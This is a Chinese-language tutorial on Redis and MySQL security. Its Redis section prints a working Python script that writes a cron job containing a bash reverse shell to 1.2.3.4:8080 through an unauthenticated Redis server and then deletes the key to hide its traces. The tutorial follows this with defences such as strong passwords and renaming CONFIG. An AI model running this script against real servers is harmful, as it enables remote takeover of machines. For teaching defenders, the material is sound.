数据库安全
Redis 安全
我们首先来看 Redis。我们都知道,Redis 是一个高性能的 KV 结构的数据库。Redis 的设计初衷是在可信的环境中,提供高性能的数据库服务。因此,Redis 在设计上没有过多地考虑安全性,甚至可以说它刻意地牺牲了一定的安全性,来获取更高的性能。
复杂一些的,黑客还可以发起权限提升,通过 Redis 在服务器上执行命令,从而控制整个服务器。但是,Redis 本身不提供执行命令的功能,那么黑客是如何让 Redis 执行命令的呢?我们一起来看一下具体的代码流程。
r = redis.Redis(host=10.0.0.1, port=6379, db=0, socket_timeout=10)
payload = '\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/1.2.3.4/8080 0>&1\n\n'
path = '/var/spool/cron'
name = 'root'
key = 'payload'
r.set(key, payload)
r.config_set('dir', path)
r.config_set('dbfilename', name)
r.save()
r.delete(key) # 清除痕迹
r.config_set('dir', '/tmp')
针对这个过程,我来详细解释一下,你可以结合代码来看。
黑客连入 Redis。
黑客写入一个任意的 Key,对应的 Value 是想要执行的命令,并按照 Crontab 的格式进行拼接。代码如下:
*/1* * * * /bin/bash -i >& /dev/tcp/1.2.3.4/80800>&1
黑客调用 config_set 方法,就是通过 Redis 的 CONFIG 命令,将 Redis 数据持久化的目录修改成 /var/spool/cron。
黑客调用 save 方法,通过 Redis 的 SAVE 命令,发起 Redis 的数据持久化功能。最终,Redis 将数据写入到 /var/spool/cron 中。写入的文件效果如下:
Crontab 对于无法解析的数据会直接跳过,因此,开头和结尾的乱码不会影响 Crontab 的执行。最终,Crontab 会执行到 Value 中对应的命令。
Redis 的性能很高,理论上黑客能够以每秒几十万次的速度来暴力猜测密码。因此,你必须设置一个足够强的密码。我比较推荐随机生成一个 32 位的“数字加字母”的密码。而且 Redis 的密码直接保存在配置文件当中,你并不需要记忆它,需要的时候直接查看就好了。
Redis 是为了高性能而设计的。之所以 Redis 默认不配置密码,就是因为密码会影响性能。按照我之前的测试,加上密码之后,Redis 的整体性能会下降 20% 左右。这也是很多开发和运维,明明知道 Redis 有安全风险,仍然保持无密码状态的原因。所以,是否给 Redis 设置密码,还需要你根据实际的情况进行权衡。
其次是进行授权。尽管 Redis 本身不提供授权机制,但是我们仍然可以通过“重命名”来间接地实现授权功能。我们可以在 Redis 的配置文件中加入 rename-command CONFIG pUVEYEvdaGH2eAHmNFcDh8Qf9vOej4Ho,就可以将 CONFIG 功能的关键词,变成一个随机的字符串,黑客不知道这个字符串,就无法执行 CONFIG 功能了。而且,你仍然可以通过新的命令,来正常地使用 CONFIG 功能,不会对你的正常操作产生任何影响
MySQL 安全
讲到这里,你现在应该也能总结出,黑客攻击数据库的主要方式,除了执行各种命令对数据库中的数据进行“增删改查”,就是在连入数据库后,通过各种手段实现命令执行,最终控制整个服务器。
MySQL 提供了多用户的认证体系,它将用户的相关信息(认证信息、权限信息)都存储在了 mysql.user 这个系统表中。利用这个系统表,MySQL 可以通过增删改查操作,来定义和管理用户的认证信息、权限列表等。
除此之外,在认证上,MySQL 还提供了比较完善的密码管理功能,它们分别是:
密码过期,强制用户定期修改密码;
密码重用限制,避免用户使用旧的密码;
密码强度评估,强制用户使用强密码;
密码失败保护,当用户出现太多密码错误的尝试后锁定账户。
那么,通过这些密码管理的机制,你就能够拥有一个相对安全的认证体系了
在多用户的认证体系中,授权是必不可少的。那 MySQL 中的授权机制是怎样的呢?
GRANT ALL PRIVILEGES ON db.table TO user@"127.0.0.1" IDENTIFIED BY "password"
我们通过修改权限的 GRANT 命令来具体分析一下,MySQL 授权机制中的主体、客体和请求。
主体(user@“127.0.0.1” IDENTIFIED BY “password”):MySQL 的主体是通过用户名、IP 和密码这三个信息组合起来进行标记的。
客体(db.table):MySQL 的客体是数据库和表。
请求(ALL PRIVILEGES):MySQL 将请求的类型定义成了特权(PRIVILEGES)。常见的特权有 INSERT、DELETE 等增删改查操作(如果你想要了解其他更细粒度的特权,可以在官方文档中进行查看)。
除此之外,MySQL 也定义了 ROLE 的概念,你可以基于这个功能,去实现 role-BAC 机制。